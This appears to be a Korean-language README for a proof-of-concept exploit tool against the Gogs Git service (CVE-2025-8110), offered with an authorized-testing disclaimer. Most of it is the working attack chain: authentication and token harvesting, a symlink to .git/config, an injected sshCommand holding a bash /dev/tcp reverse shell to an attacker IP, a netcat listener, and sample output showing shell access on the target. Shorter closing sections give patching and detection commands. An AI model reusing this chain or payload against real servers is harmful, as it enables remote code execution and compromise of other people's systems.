
CVE-2025-8110에 대한 PoC 익스플로잇
CVE-2025-8110은 Gogs의 심각한 취약점으로, 인증된 공격자가 저장소 심볼릭 링크 조작을 통해 원격 코드 실행을 달성할 수 있습니다. 이 개념 증명은 인증부터 리버스 셸 획득까지의 전체 익스플로잇 체인을 보여줍니다.
이 취약점은 Gogs가 API를 통해 저장소 파일을 처리할 때 심볼릭 링크를 따라가므로, 공격자가 .git/config와 같은 중요한 파일을 읽고 수정할 수 있게 합니다. 악성 sshCommand 지시어를 주입함으로써 Gogs 서비스 계정의 권한으로 임의의 시스템 명령을 실행할 수 있습니다.
CVSS 점수: 7.2 (높음) 네트워크 예 없음 시스템 완전 손상
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # 주요 익스플로잇 스크립트
├── requirements.txt # Python 종속성
└── README.md # 문서
| 옵션 | 설명 | 필수 |
|---|---|---|
-u, --url | Gogs 기본 URL (예: https://gogs.example.com) | 예 |
-lh, --host | 리버스 셸을 위한 공격자 IP 주소 | 예 |
-lp, --port | 리버스 셸을 위한 공격자 포트 | 예 |
-U, --username | Gogs 사용자 이름 | 예 |
-P, --password | Gogs 비밀번호 | 예 |
-x, --proxy | 프록시 활성화 (localhost:8080) | 아니오 |
-v, --verbose | 상세 출력 활성화 | 아니오 |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
Gogs는 API를 통해 저장소 파일을 처리할 때 심볼릭 링크 이동을 제대로 검증하지 못합니다. API 엔드포인트를 통해 파일에 접근하면 Gogs는 검증 없이 심볼릭 링크를 따라가므로 저장소 디렉터리 외부의 중요한 파일에 접근할 수 있습니다.
심볼릭 링크 생성
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
악성 설정
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API 익스플로잇
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Gogs 버전을 확인하려면:
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version
Gogs 업데이트
# Backup existing installation
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# Download and install latest version
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
심볼릭 링크 지원 비활성화
# In custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
입력 검증 구현
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
저장소 활동
API 활동
/api/v1/repos/*/contents/*에 대한 PUT 요청.git/config 수정시스템 지표
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l
# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/
# Monitor for outbound connections
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
이 취약점은 발견되어 Gogs 개발팀에 책임 있게 공개되었습니다. 공급업체는 버전 0.12.6에서 패치를 출시했습니다.
이 도구는 교육적 목적과 허가된 보안 테스트 목적으로만 제공됩니다. 사용자는 다음을 준수해야 합니다:
저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.
MIT 라이선스
Copyright (c) 2025 oguiii
이 소프트웨어 및 관련 문서 파일("소프트웨어")의 복사본을 획득하는 모든 사람에게는 제한 없이 소프트웨어를 다룰 수 있는 권한이 부여됩니다. 여기에는 소프트웨어의 사용, 복사, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 판매 권리와 소프트웨어를 제공받은 사람에게 이를 허용하는 권리가 포함되며, 다음 조건에 따라야 합니다:
위의 저작권 고지 및 이 허가 고지는 소프트웨어의 모든 복사본 또는 중요 부분에 포함되어야 합니다.
소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 어떠한 명시적이거나 묵시적인 보증 없이 제공됩니다. 어떠한 경우에도 저자나 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.
oguiii가 열정을 담아 제작함